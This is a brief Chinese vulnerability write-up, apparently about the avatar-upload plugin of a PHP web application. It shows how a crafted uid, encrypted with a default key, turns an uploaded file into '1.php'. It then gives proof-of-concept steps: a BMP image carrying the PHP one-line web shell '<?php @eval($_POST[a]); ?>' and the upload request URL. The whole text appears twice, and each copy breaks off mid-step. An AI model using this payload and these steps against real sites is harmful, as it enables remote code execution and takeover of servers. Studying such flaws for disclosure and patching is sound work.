出现在用户上传头像那里
跟踪文件plugins/avatar/avatar.class.php中
$uid.$filetype这个两个参数拼合了
如果可控就可以getshell,我们跟踪看看是否可控
uid
filetype
跟踪input
看到init_input函数是获取input的值
这里用了默认的deck密匙解密
POC构造:
$uid = (解码后)1.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。
调用默认加密过程将特殊的$uid转换为base64,然后直接向
http://website/?user&inajax=1&a=uploadavatar&appid=1&input={xxxxxxxxx}&agent=hahahahahahah&avatartype=virtual
提交上传请求
然后访问

出现在用户上传头像那里
跟踪文件plugins/avatar/avatar.class.php中
$uid.$filetype这个两个参数拼合了
如果可控就可以getshell,我们跟踪看看是否可控
uid
filetype
跟踪input
看到init_input函数是获取input的值
这里用了默认的deck密匙解密
POC构造:
$uid = (解码后)1.php && 一个包含<?php @eval($_POST[a]); ?>的BMP图片。
调用默认加密过程将特殊的$uid转换为base64,然后直接向
http://website/?user&inajax=1&a=uploadavatar&appid=1&input={xxxxxxxxx}&agent=hahahahahahah&avatartype=virtual
提交上传请求
然后访问
